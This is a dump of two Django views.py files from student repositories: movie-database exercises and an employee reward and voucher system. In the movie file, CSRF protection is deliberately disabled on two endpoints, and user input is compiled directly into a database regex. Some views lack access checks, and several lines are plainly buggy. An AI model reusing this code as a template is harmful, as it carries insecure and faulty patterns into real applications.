actor,\n\t\t'pelis': pelis_list\n\t}\n\treturn render(request, 'ejercicio_5_resultado.html', context)\n\n\n# Actualizacion tema 9: Limitar el numero de pelis que devuelve en funcion de si el usuario está autentificado\ndef ejercicio_5_title(request, title):\n\tMAX_PELIS = 5\n\n\tregex = re.compile(title, re.IGNORECASE)\n\n\tif request.user.is_authenticated:\n\t\tpelis_list = pelis.find({'title':regex})\n\telse:\n\t\tpelis_list = pelis.find({'title':regex}).limit(MAX_PELIS)\n\n\n\tcontext = {\n\t\t'busqueda': title,\n\t\t'pelis': pelis_list\n\t}\n\treturn render(request, 'ejercicio_5_resultado.html', context)\n\n\ndef ejercicio_5_buscar(request):\n\tif request.GET.get('actor'):\n\t\treturn ejercicio_5_actor(request, request.GET.get('actor'))\n\n\telif request.GET.get('title'):\n\t\treturn ejercicio_5_title(request, request.GET.get('title'))\n\n\telse:\n\n\t\tmovies_list = \"\"\n\t\tfor peli in pelis.find():\n\t\t\tmovies_list += \"\\\"{}\\\",\\n\".format(peli['title'])\n\n\t\tcontext = {\n\t\t\t'movies_list': movies_list[:-2] # removing last comma\n\t\t}\n\n\t\treturn render(request, 'ejercicio_5_buscar.html', context)\n\n\n\"\"\"\nTema 6\n\"\"\"\ndef ejercicio_6(request, id):\n\tpeli = pelis.find_one({'_id': ObjectId(id)})\n\n\t# Fix image URL\n\tif peli['poster']:\n\t\tpeli['poster'] = peli['poster'].replace('http://ia.media-imdb.com', 'https://m.media-amazon.com')\n\n\tcontext = {\n\t\t'peli' : peli\n\t}\n\n\treturn render(request, 'ejercicio_6_info.html', context)\n\n\n\"\"\"\nTema 7\n\"\"\"\nfrom django import forms\nfrom django.http import HttpResponseNotAllowed\n\nclass EditForm(forms.Form):\n\n\t_id \t = forms.CharField(max_length=999)\n\ttitle \t = forms.CharField(max_length=999)\n\tyear \t = forms.IntegerField()\n\truntime = forms.IntegerField()\n\tdirector = forms.CharField(max_length=999)\n\tposter = forms.CharField(max_length=999)\n\tplot \t = forms.CharField(widget=forms.Textarea)\n\n\ndef ejercicio_7_edit(request, id):\n\n\tif request.method == 'POST':\n\t\tform = EditForm(request.POST)\n\n\t\tif form.is_valid():\n\t\t\tupdated_movie = request.POST\n\t\t\tcriteria = {'_id': ObjectId(updated_movie['_id'])}\n\t\t\tchanges = {\"$set\" : {'title' : updated_movie['title'],\n\t\t\t\t\t\t\t\t 'year' : updated_movie['year'],\n\t\t\t\t\t\t\t\t 'runtime' : updated_movie['runtime'],\n\t\t\t\t\t\t\t\t 'director' : updated_movie['director'],\n\t\t\t\t\t\t\t\t 'poster' : updated_movie['poster'],\n\t\t\t\t\t\t\t\t 'plot' : updated_movie['plot']}}\n\t\t\tpelis.update_one(criteria, changes)\n\n\t\t\treturn HttpResponse('Película actualizada correctamente!✔️')\n\n\telse:\n\t\tpeli = pelis.find_one({'_id': ObjectId(id)})\n\t\tform = EditForm(initial=peli)\n\n\treturn render(request, 'ejercicio_7_edit.html', {'form': form})\n\n\nfrom django.views.decorators.csrf import csrf_exempt\n\n# Ha sido implsible hacer mandar la token CSRF desde javascript asique lo deshabilito\n# La linea que borra películas ha sido comentada\n@csrf_exempt\ndef ejercicio_7_delete(request, id):\n\tif request.method == 'DELETE':\n\t\tpeli = pelis.find_one({'_id': ObjectId(id)})\n\t\tif (peli):\n\t\t\tcriteria = {'_id' : id}\n\t\t\t# pelis.delete_one(criteria)\n\t\t\tprint(\"Peli \" + peli['title'] + \" borrada correctamente✔️\")\n\n\t\t\treturn HttpResponse('Película borrada correctamente!✔️')\n\n\telse:\n\t\treturn HttpResponseNotAllowed('Solamente está permitida la petición HTTP DELETE en esta ruta')\n\n\"\"\"\nTema 11. AJAX\n\"\"\"\n@csrf_exempt\ndef ejercicio_11_like(request, id):\n\tif request.method == 'POST':\n\t\tprint(\"LIKED movie \" + id)\n\t\treturn HttpResponse(randint(1, 99))\n\n\n\"\"\"\nTema 12. API REST\n\"\"\"\n\nfrom django.http import JsonResponse\nfrom .serializers import PelisSerializer\nfrom .models import Pelis\n\n\n# Listar todas, Añadir\ndef api_pelis(request):\n\tif request.method == 'GET':\n\t\tpelis = Pelis.objects.all()[:10]\n\t\tserializer = PelisSerializer(pelis, many=True)\n\t\treturn JsonResponse(serializer.data, safe=False)\n\n\tif request.method == 'POST':\n\t\tdata = JSONParser().parse(request)\n\t\tserializer = PelisSerializer(data=data)\n\t\tif serializer.is_valid():\n\t\t\tserializer.save()\n\t\t\treturn JsonResponse(serializer.data, status=201)\n\n\tlogger.debug('Error')\n\treturn JsonResponse(serializers.errors, stauts=400)\n\n\n# Listar, Modificar, Borrar\ndef api_peli(request, id):\n\ttry:\n\t\tpeli = Pelis.objects().get(id=id)\n\texcept:\n\t\tlogger.debug('Peli no encontrada '+id)\n\t\treturn HttpResponse(status=404) # No encontrado\n\n\tif request.method == 'GET':\n\t\tserializer = PelisSerializer(peli)\n\t\treturn JsonResponse(serializer.data)\n\n\tif request.method == 'PUT':\n\t\tpass\n\n\tif request.method == 'DELETE':\n\t\tpass\n", "repo_name": "gomezportillo/SSBW", "sub_path": "ejercicios/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 9549, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 18, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 39, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 53, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 70, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 96, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 105, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 115, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 128, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 180, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 185, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 198, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 201, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 212, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 228, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 236, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 236, "usage_type": "attribute"}, {"api_name": "django.shortcuts.render", "line_number": 243, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 250, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 250, "usage_type": "attribute"}, {"api_name": "django.shortcuts.render", "line_number": 262, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 282, "usage_type": "call"}, {"api_name": "bson.ObjectId", "line_number": 289, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 299, "usage_type": "call"}, {"api_name": "django.forms.Form", "line_number": 308, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 308, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 310, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 310, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 311, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 311, "usage_type": "name"}, {"api_name": "django.forms.IntegerField", "line_number": 312, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 312, "usage_type": "name"}, {"api_name": "django.forms.IntegerField", "line_number": 313, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 313, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 314, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 314, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 315, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 315, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 316, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 316, "usage_type": "name"}, {"api_name": "django.forms.Textarea", "line_number": 316, "usage_type": "attribute"}, {"api_name": "bson.ObjectId", "line_number": 326, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 335, "usage_type": "call"}, {"api_name": "bson.ObjectId", "line_number": 338, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 341, "usage_type": "call"}, {"api_name": "bson.ObjectId", "line_number": 351, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 357, "usage_type": "call"}, {"api_name": "django.http.HttpResponseNotAllowed", "line_number": 360, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 348, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 369, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 369, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 365, "usage_type": "name"}, {"api_name": "models.Pelis.objects.all", "line_number": 384, "usage_type": "call"}, {"api_name": "models.Pelis.objects", "line_number": 384, "usage_type": "attribute"}, {"api_name": "models.Pelis", "line_number": 384, "usage_type": "name"}, {"api_name": "serializers.PelisSerializer", "line_number": 385, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 386, "usage_type": "call"}, {"api_name": "serializers.PelisSerializer", "line_number": 390, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 393, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 396, "usage_type": "call"}, {"api_name": "serializers.errors", "line_number": 396, "usage_type": "attribute"}, {"api_name": "models.Pelis.objects", "line_number": 402, "usage_type": "call"}, {"api_name": "models.Pelis", "line_number": 402, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 405, "usage_type": "call"}, {"api_name": "serializers.PelisSerializer", "line_number": 408, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 409, "usage_type": "call"}]} {"seq_id": "21447059863", "text": "from django.shortcuts import render,redirect\nfrom .models import Vendors, Vouchers , Suggest_Reward,Redemption_Request , budget\nfrom Users.models import User , announcements\nfrom activities.models import Points\nfrom django.core.mail import send_mail\nimport pytz\nfrom datetime import datetime,date,timedelta\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.urls import reverse\nimport matplotlib.pyplot as plt\nfrom io import StringIO\nimport numpy as np\n\n# Create your views here.\ndef is_expired(end_date):\n utc=pytz.UTC\n now = utc.localize(datetime.now())\n if now >= end_date:\n return True\n else:\n return False\n\ndef create_vendor(request):\n if request.user.role == \"Role.A\":\n if request.method == \"POST\":\n name = request.POST[\"name\"]\n start_date = request.POST[\"start_date\"]\n \n end_date = request.POST[\"end_date\"]\n Logo = request.FILES[\"Logo\"]\n if Vendors.objects.filter(name=request.POST[\"name\"]).exists():\n return render(request,\"rewards/create_vendor.html\",{\n \"warning_message\":\"Vendor Already Exists try adding vouchers to that Vendor\"\n })\n else:\n if end_date:\n Vendors.objects.create(name = name , end_date = end_date , img = Logo , start_date = start_date , creator = request.user)\n else:\n Vendors.objects.create(name = name , img = Logo , start_date = start_date , creator = request.user)\n \n announcements.objects.create(creator = request.user , PostText = f\"A new vendor {name} is added!!\",EndDate = datetime.now() + timedelta(days=30))\n return render(request,\"rewards/create_vendor.html\",{\n \"message\":\"Vendor successfuly added\"\n })\n else:\n return render(request,\"rewards/create_vendor.html\")\n else:\n return redirect(\"login\")\n \ndef view_vendors(request):\n if request.user.is_authenticated:\n all_vendors = Vendors.objects.filter().all()\n vendors = []\n utc=pytz.UTC\n now = utc.localize(datetime.now())\n for vendor in all_vendors:\n if vendor.start_date <= now:\n vendors.append(vendor)\n return render(request,\"rewards/vendors.html\",{\n \"vendors\": vendors\n})\ndef vendor_view(request,vendor_id):\n vendor = Vendors.objects.get(pk = vendor_id)\n vouchers = Vouchers.objects.filter(vendor = vendor).all()\n return render(request,\"rewards/vendor.html\",{\n \"vendor\":vendor,\n \"vouchers\":vouchers\n})\n\n\ndef add_new_reward(request):\n if request.user.role == \"Role.A\":\n if request.method == \"POST\":\n vendor = request.POST[\"name\"]\n getvendor = Vendors.objects.get(name = vendor)\n start_date = request.POST[\"start_date\"]\n \n end_date = request.POST[\"end_date\"]\n points = request.POST[\"points_equivalent\"]\n if end_date:\n Vouchers.objects.create(vendor = getvendor, end_date = end_date, points_equivalent=points , start_date = start_date , creator = request.user)\n else:\n Vouchers.objects.create(vendor = getvendor, points_equivalent=points , start_date = start_date , creator = request.user)\n announcements.objects.create(creator = request.user , PostText = f\"A new Reward from {vendor} is added!!\",EndDate = end_date)\n return render(request,\"rewards/create_reward.html\",{\n \"message\":\"Reward Successfuly Added\"\n })\n\n else:\n return render(request,\"rewards/create_reward.html\")\n else:\n return redirect(\"login\")\ndef suggest_rewards(request):\n if request.method== \"POST\":\n if request.user.role == \"Role.M\" or request.user.role == \"Role.E\" :\n getvendorname= request.POST['vendor']\n getwebsite= request.POST['website']\n getreason= request.POST['reason']\n Suggest_Reward.objects.create(vendor = getvendorname , website=getwebsite, reason=getreason)\n \n return render(request,\"rewards/suggest_rewards.html\", {\n 'message': \"Vendor suggestion has been successfully submitted\"\n })\n \n else:\n \n \n return render(request,\"rewards/suggest_rewards.html\")\n \ndef redemption_request(request,voucher_id):\n if not request.user.role == \"Role.A\":\n voucher = Vouchers.objects.get(pk = voucher_id)\n if request.method == \"POST\":\n points_equivalent = voucher.points_equivalent\n if request.user.points >= voucher.points_equivalent:\n points_needed = []\n points = Points.objects.filter(employee = request.user,is_used = False).order_by('end_date')\n for point in points:\n if is_expired(point.end_date) == False:\n points_needed.append(point)\n for point in points_needed:\n acquired = 0\n if acquired < points_equivalent:\n acquired = acquired + point.points\n if acquired > points_equivalent:\n \n Points.objects.filter(pk = point.id).update(points = acquired - points_equivalent)\n break\n else:\n Points.objects.filter(pk = point.id).update(is_used = True)\n \n User.objects.filter(username = request.user.username).update(points = request.user.points - points_equivalent) \n Redemption_Request.objects.create(voucher = voucher,employee = request.user)\n return redirect(\"users-home\")\n else:\n return HttpResponseRedirect(reverse(\"vendor\", args = (voucher_id,)))\n \n\n \n\ndef admin_view_redemption_requests(request):\n if request.user.is_authenticated and request.user.role == \"Role.A\":\n redemption_requests = Redemption_Request.objects.filter(status='Status.P')\n return render(request,\"rewards/admin_view_redemption_requests.html\",{\n \"redemption_requests\":redemption_requests})\n else:\n return redirect(\"login\")\n\ndef redemption_request_view(request,redemption_request_id):\n redemption_request = Redemption_Request.objects.get(pk = redemption_request_id)\n return render(request,\"rewards/admin_redemption_request_view.html\",{\"redemption_request\":redemption_request}) \n\ndef decline_redemption(request,request_id):\n if request.user.role == \"Role.A\":\n redemption_request = Redemption_Request.objects.get(pk = request_id)\n user = redemption_request.employee\n if request.method == \"POST\":\n \n Redemption_Request.objects.filter(pk = request_id).update(status='Status.D')\n User.objects.filter(username = user.username).update(points = user.points + redemption_request.voucher.points_equivalent)\n send_mail(\n 'Redemption Request',\n 'Your redemption request has been rejected',\n 'muhammad.mazen4@gmail.com.com',\n [f'{Redemption_Request.objects.get(pk = request_id).employee.email}'],\n fail_silently=False,)\n return redirect(\"admin_view_redemption_requests\")\n else:\n return redirect(\"users-home\")\n else:\n return(redirect(\"login\")) \ndef accept_redemption(request , request_id):\n if request.user.role == \"Role.A\":\n \n if request.method == \"POST\":\n redemption_request = Redemption_Request.objects.get(pk = request_id)\n \n Redemption_Request.objects.filter(pk = request_id).update(status='Status.A',\n approved_by = request.user , \n approved_date = datetime.now())\n \n return render(request,\"rewards/admin_redemption_request_view.html\",{\n \"redemption_request\":redemption_request,\n \"message\": \"Accpeted\"\n }) \n\n \n \n \ndef admin_accept_decline_reward (request):\n if (request.user.is_authenticated and request.user.role == \"Role.A\"):\n suggestion_requests= Suggest_Reward.objects.all()\n return render(request,'rewards/edit_reward.html',{\n 'suggestion_requests': suggestion_requests,\n })\n \ndef delete_reward_suggestion (request, reward_id):\n if (request.user.is_authenticated):\n if request.user.role == \"Role.A\":\n reward = Suggest_Reward.objects.get(pk = reward_id)\n Suggest_Reward.objects.filter(pk = reward_id).delete()\n \n return render(request,'rewards/edit_reward.html',{\n \"Message\": f\"suggest {reward} has been declined\",\n }) \n\ndef edit_approve_reward_suggestion(request, reward_id):\n if (request.user.is_authenticated and request.user.role == \"Role.A\"):\n if(request.method == \"POST\"):\n try:\n Vendors.objects.create(\n name=request.POST[\"vendor_name\"],\n # start_date= request.POST[\"start_date\"],\n end_date= request.POST[\"end_date\"],\n img= request.FILES[\"Image\"])\n Suggest_Reward.objects.get(pk = reward_id).delete()\n return redirect('edit_reward')\n except:\n return render(request,'rewards/approve_reward.html',{\n \"Message\":\"Vendor already exists\"})\n else:\n reward_suggestion= Suggest_Reward.objects.filter(pk = reward_id)[0]\n return render(request,'rewards/approve_reward.html',{\n 'reward_suggestion':reward_suggestion\n })\n \ndef delete_vendor(request,vendor_id):\n if request.user.role == \"Role.A\":\n vendor = Vendors.objects.get(pk = vendor_id)\n Vendors.objects.filter(pk = vendor_id).delete()\n vendors = Vendors.objects.filter().all()\n \n return render(request , \"rewards/vendors.html\",{\n \"message\":f\"Vendor {vendor.name} is Deleted\",\n \"vendors\": vendors\n })\n else:\n return redirect(\"login\")\n\ndef put_budget(request):\n if request.user.role == \"Role.A\":\n now = datetime.now()\n \n if budget.objects.filter(year = int(now.year),is_active = True):\n #creating a piechart\n \n labels = [\"Remaining Budget\" , \"Used Budget\"]\n this_year_budget = budget.objects.filter(year = int(now.year),is_active = True)[0].budget\n budget_compare = budget.objects.filter(year = int(now.year),is_active = True)[0].budget_compare\n percentage = (this_year_budget/budget_compare)*100\n data = [percentage,100-percentage]\n print(4)\n \n if request.method == \"POST\":\n current_budget = budget.objects.filter(year = int(now.year),is_active = True)[0]\n # graph = return_graph(current_budget.budget , current_budget.budget_compare)\n budget_used_percentage = (current_budget.budget/current_budget.budget_compare)*100\n Budget = request.POST[\"budget\"]\n \n points = budget.objects.filter(year = int(now.year))[0].point\n money = budget.objects.filter(year = int(now.year))[0].EGP\n budget.objects.filter(year = int(now.year)).update(is_active = False)\n budget.objects.create(budget = Budget , point = points , EGP = money , budget_compare = Budget)\n \n return redirect(\"make_budget\")\n else:\n current_budget = budget.objects.filter(year = int(now.year),is_active = True)[0]\n budget_used_percentage = (current_budget.budget/current_budget.budget_compare)*100\n return render(request,\"rewards/budget.html\",{\n \"newyear\": (now.month == 1 and now.day == 1) or not budget.objects.filter(year = int(now.year),\n is_active = True),\n \"current_budget\":current_budget,\n \"budget_used_percentage\":budget_used_percentage,\n 'labels': labels,\n 'data': data,\n \n })\n \n else:\n current_budget = 0\n budget_used_percentage = 0\n labels = [\"Remaining Budget\" , \"Used Budget\" ]\n this_year_budget = 0\n budget_compare = 0\n percentage = 0\n data = [percentage,100-percentage]\n \n if request.method == \"POST\":\n \n \n Budget = request.POST[\"budget\"]\n points = request.POST[\"points\"]\n money = request.POST[\"EGP\"]\n budget.objects.create(budget = Budget , point = points , EGP = money , budget_compare = Budget, admin = request.user)\n \n return redirect(\"make_budget\")\n else:\n return render(request,\"rewards/budget.html\",{\n \"newyear\": (now.month == 1 and now.day == 1) or not budget.objects.filter(year = int(now.year),\n is_active = True),\n \"current_budget\":current_budget,\n \"budget_used_percentage\":budget_used_percentage,\n 'labels': labels,\n 'data': data,\n \n })\n \n \n", "repo_name": "MahmoudAbdelkhalek5o5o/ECS_Reward_System", "sub_path": "ECS_Reward_System/Rewards/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 13889, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pytz.UTC", "line_number": 16, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "name"}, {"api_name": "models.Vendors.objects.filter", "line_number": 31, "usage_type": "call"}, {"api_name": "models.Vendors.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "models.Vendors", "line_number": 31, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 32, "usage_type": "call"}, {"api_name": "models.Vendors.objects.create", "line_number": 37, "usage_type": "call"}, {"api_name": "models.Vendors.objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "models.Vendors", "line_number": 37, "usage_type": "name"}, {"api_name": "models.Vendors.objects.create", "line_number": 39, "usage_type": "call"}, {"api_name": "models.Vendors.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "models.Vendors", "line_number": 39, "usage_type": "name"}, {"api_name": "Users.models.announcements.objects.create", "line_number": 41, "usage_type": "call"}, {"api_name": "Users.models.announcements.objects", "line_number": 41, "usage_type": "attribute"}, {"api_name": "Users.models.announcements", "line_number": 41, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 41, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 41, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 42, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 46, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 48, "usage_type": "call"}, {"api_name": "models.Vendors.objects.filter", "line_number": 52, "usage_type": "call"}, {"api_name": "models.Vendors.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "models.Vendors", "line_number": 52, "usage_type": "name"}, {"api_name": "pytz.UTC", "line_number": 54, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 59, "usage_type": "call"}, {"api_name": "models.Vendors.objects.get", "line_number": 63, "usage_type": "call"}, {"api_name": "models.Vendors.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "models.Vendors", "line_number": 63, "usage_type": "name"}, {"api_name": "models.Vouchers.objects.filter", "line_number": 64, "usage_type": "call"}, {"api_name": "models.Vouchers.objects", "line_number": 64, "usage_type": "attribute"}, {"api_name": "models.Vouchers", "line_number": 64, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 65, "usage_type": "call"}, {"api_name": "models.Vendors.objects.get", "line_number": 75, "usage_type": "call"}, {"api_name": "models.Vendors.objects", "line_number": 75, "usage_type": "attribute"}, {"api_name": "models.Vendors", "line_number": 75, "usage_type": "name"}, {"api_name": "models.Vouchers.objects.create", "line_number": 81, "usage_type": "call"}, {"api_name": "models.Vouchers.objects", "line_number": 81, "usage_type": "attribute"}, {"api_name": "models.Vouchers", "line_number": 81, "usage_type": "name"}, {"api_name": "models.Vouchers.objects.create", "line_number": 83, "usage_type": "call"}, {"api_name": "models.Vouchers.objects", "line_number": 83, "usage_type": "attribute"}, {"api_name": "models.Vouchers", "line_number": 83, "usage_type": "name"}, {"api_name": "Users.models.announcements.objects.create", "line_number": 84, "usage_type": "call"}, {"api_name": "Users.models.announcements.objects", "line_number": 84, "usage_type": "attribute"}, {"api_name": "Users.models.announcements", "line_number": 84, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 85, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 90, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 92, "usage_type": "call"}, {"api_name": "models.Suggest_Reward.objects.create", "line_number": 99, "usage_type": "call"}, {"api_name": "models.Suggest_Reward.objects", "line_number": 99, "usage_type": "attribute"}, {"api_name": "models.Suggest_Reward", "line_number": 99, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 101, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 108, "usage_type": "call"}, {"api_name": "models.Vouchers.objects.get", "line_number": 112, "usage_type": "call"}, {"api_name": "models.Vouchers.objects", "line_number": 112, "usage_type": "attribute"}, {"api_name": "models.Vouchers", "line_number": 112, "usage_type": "name"}, {"api_name": "activities.models.Points.objects.filter", "line_number": 117, "usage_type": "call"}, {"api_name": "activities.models.Points.objects", "line_number": 117, "usage_type": "attribute"}, {"api_name": "activities.models.Points", "line_number": 117, "usage_type": "name"}, {"api_name": "activities.models.Points.objects.filter", "line_number": 127, "usage_type": "call"}, {"api_name": "activities.models.Points.objects", "line_number": 127, "usage_type": "attribute"}, {"api_name": "activities.models.Points", "line_number": 127, "usage_type": "name"}, {"api_name": "activities.models.Points.objects.filter", "line_number": 130, "usage_type": "call"}, {"api_name": "activities.models.Points.objects", "line_number": 130, "usage_type": "attribute"}, {"api_name": "activities.models.Points", "line_number": 130, "usage_type": "name"}, {"api_name": "Users.models.User.objects.filter", "line_number": 132, "usage_type": "call"}, {"api_name": "Users.models.User.objects", "line_number": 132, "usage_type": "attribute"}, {"api_name": "Users.models.User", "line_number": 132, "usage_type": "name"}, {"api_name": "models.Redemption_Request.objects.create", "line_number": 133, "usage_type": "call"}, {"api_name": "models.Redemption_Request.objects", "line_number": 133, "usage_type": "attribute"}, {"api_name": "models.Redemption_Request", "line_number": 133, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 134, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 136, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 136, "usage_type": "call"}, {"api_name": "models.Redemption_Request.objects.filter", "line_number": 143, "usage_type": "call"}, {"api_name": "models.Redemption_Request.objects", "line_number": 143, "usage_type": "attribute"}, {"api_name": "models.Redemption_Request", "line_number": 143, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 144, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 147, "usage_type": "call"}, {"api_name": "models.Redemption_Request.objects.get", "line_number": 150, "usage_type": "call"}, {"api_name": "models.Redemption_Request.objects", "line_number": 150, "usage_type": "attribute"}, {"api_name": "models.Redemption_Request", "line_number": 150, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 151, "usage_type": "call"}, {"api_name": "models.Redemption_Request.objects.get", "line_number": 155, "usage_type": "call"}, {"api_name": "models.Redemption_Request.objects", "line_number": 155, "usage_type": "attribute"}, {"api_name": "models.Redemption_Request", "line_number": 155, "usage_type": "name"}, {"api_name": "models.Redemption_Request.objects.filter", "line_number": 159, "usage_type": "call"}, {"api_name": "models.Redemption_Request.objects", "line_number": 159, "usage_type": "attribute"}, {"api_name": "models.Redemption_Request", "line_number": 159, "usage_type": "name"}, {"api_name": "Users.models.User.objects.filter", "line_number": 160, "usage_type": "call"}, {"api_name": "Users.models.User.objects", "line_number": 160, "usage_type": "attribute"}, {"api_name": "Users.models.User", "line_number": 160, "usage_type": "name"}, {"api_name": "django.core.mail.send_mail", "line_number": 161, "usage_type": "call"}, {"api_name": "models.Redemption_Request.objects.get", "line_number": 165, "usage_type": "call"}, {"api_name": "models.Redemption_Request.objects", "line_number": 165, "usage_type": "attribute"}, {"api_name": "models.Redemption_Request", "line_number": 165, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 167, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 169, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 171, "usage_type": "call"}, {"api_name": "models.Redemption_Request.objects.get", "line_number": 176, "usage_type": "call"}, {"api_name": "models.Redemption_Request.objects", "line_number": 176, "usage_type": "attribute"}, {"api_name": "models.Redemption_Request", "line_number": 176, "usage_type": "name"}, {"api_name": "models.Redemption_Request.objects.filter", "line_number": 178, "usage_type": "call"}, {"api_name": "models.Redemption_Request.objects", "line_number": 178, "usage_type": "attribute"}, {"api_name": "models.Redemption_Request", "line_number": 178, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 180, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 180, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 182, "usage_type": "call"}, {"api_name": "models.Suggest_Reward.objects.all", "line_number": 192, "usage_type": "call"}, {"api_name": "models.Suggest_Reward.objects", "line_number": 192, "usage_type": "attribute"}, {"api_name": "models.Suggest_Reward", "line_number": 192, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 193, "usage_type": "call"}, {"api_name": "models.Suggest_Reward.objects.get", "line_number": 200, "usage_type": "call"}, {"api_name": "models.Suggest_Reward.objects", "line_number": 200, "usage_type": "attribute"}, {"api_name": "models.Suggest_Reward", "line_number": 200, "usage_type": "name"}, {"api_name": "models.Suggest_Reward.objects.filter", "line_number": 201, "usage_type": "call"}, {"api_name": "models.Suggest_Reward.objects", "line_number": 201, "usage_type": "attribute"}, {"api_name": "models.Suggest_Reward", "line_number": 201, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 203, "usage_type": "call"}, {"api_name": "models.Vendors.objects.create", "line_number": 211, "usage_type": "call"}, {"api_name": "models.Vendors.objects", "line_number": 211, "usage_type": "attribute"}, {"api_name": "models.Vendors", "line_number": 211, "usage_type": "name"}, {"api_name": "models.Suggest_Reward.objects.get", "line_number": 216, "usage_type": "call"}, {"api_name": "models.Suggest_Reward.objects", "line_number": 216, "usage_type": "attribute"}, {"api_name": "models.Suggest_Reward", "line_number": 216, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 217, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 219, "usage_type": "call"}, {"api_name": "models.Suggest_Reward.objects.filter", "line_number": 222, "usage_type": "call"}, {"api_name": "models.Suggest_Reward.objects", "line_number": 222, "usage_type": "attribute"}, {"api_name": "models.Suggest_Reward", "line_number": 222, "usage_type": "name"}, 